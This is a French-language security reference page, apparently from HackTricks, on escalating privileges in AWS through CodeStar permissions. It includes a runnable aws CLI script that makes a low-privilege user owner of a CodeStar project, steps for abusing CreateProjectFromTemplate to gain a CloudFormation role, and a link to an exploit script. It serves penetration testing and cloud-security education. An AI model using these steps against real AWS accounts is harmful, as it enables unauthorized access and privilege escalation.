# AWS - Codestar Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Codestar

Vous pouvez trouver plus d'informations sur codestar dans :

{{#ref}}
codestar-createproject-codestar-associateteammember.md
{{#endref}}

### `iam:PassRole`, `codestar:CreateProject`

Avec ces permissions, vous pouvez **abuser d'un rôle IAM codestar** pour effectuer des **actions arbitraires** via un **modèle cloudformation**. Consultez la page suivante :

{{#ref}}
iam-passrole-codestar-createproject.md
{{#endref}}

### `codestar:CreateProject`, `codestar:AssociateTeamMember`

Cette technique utilise `codestar:CreateProject` pour créer un projet codestar, et `codestar:AssociateTeamMember` pour faire d'un utilisateur IAM le **propriétaire** d'un nouveau **projet** CodeStar, ce qui leur accordera une **nouvelle politique avec quelques permissions supplémentaires**.
```bash
PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed
```
Si vous êtes déjà un **membre du projet**, vous pouvez utiliser la permission **`codestar:UpdateTeamMember`** pour **mettre à jour votre rôle** en tant que propriétaire au lieu de `codestar:AssociateTeamMember`.

**Impact potentiel :** Privesc à la politique codestar générée. Vous pouvez trouver un exemple de cette politique dans :

{{#ref}}
codestar-createproject-codestar-associateteammember.md
{{#endref}}

### `codestar:CreateProjectFromTemplate`

1. **Créer un nouveau projet :**
- Utilisez l'action **`codestar:CreateProjectFromTemplate`** pour initier la création d'un nouveau projet.
- Après une création réussie, l'accès est automatiquement accordé pour **`cloudformation:UpdateStack`**.
- Cet accès cible spécifiquement une pile associée au rôle IAM `CodeStarWorker-<nom de projet générique>-CloudFormation`.
2. **Mettre à jour la pile cible :**
- Avec les permissions CloudFormation accordées, procédez à la mise à jour de la pile spécifiée.
- Le nom de la pile conformera généralement à l'un des deux modèles :
- `awscodestar-<nom de projet générique>-infrastructure`
- `awscodestar-<nom de projet générique>-lambda`
- Le nom exact dépend du modèle choisi (se référant au script d'exploitation exemple).
3. **Accès et permissions :**
- Après la mise à jour, vous obtenez les capacités assignées au **rôle IAM CloudFormation** lié à la pile.
- Remarque : Cela ne fournit pas intrinsèquement des privilèges d'administrateur complets. Des ressources mal configurées supplémentaires dans l'environnement pourraient être nécessaires pour élever davantage les privilèges.

Pour plus d'informations, consultez la recherche originale : [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
Vous pouvez trouver l'exploitation dans [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)

**Impact potentiel :** Privesc au rôle IAM cloudformation.

{{#include ../../../../banners/hacktricks-training.md}}
